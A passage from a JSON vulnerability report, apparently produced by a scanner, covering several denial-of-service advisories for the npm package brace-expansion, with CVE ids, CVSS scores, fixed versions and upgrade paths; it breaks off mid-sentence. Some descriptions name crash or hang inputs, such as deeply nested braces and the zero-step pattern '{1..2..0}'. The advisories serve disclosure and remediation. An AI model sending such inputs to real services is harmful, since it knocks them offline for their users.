"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the 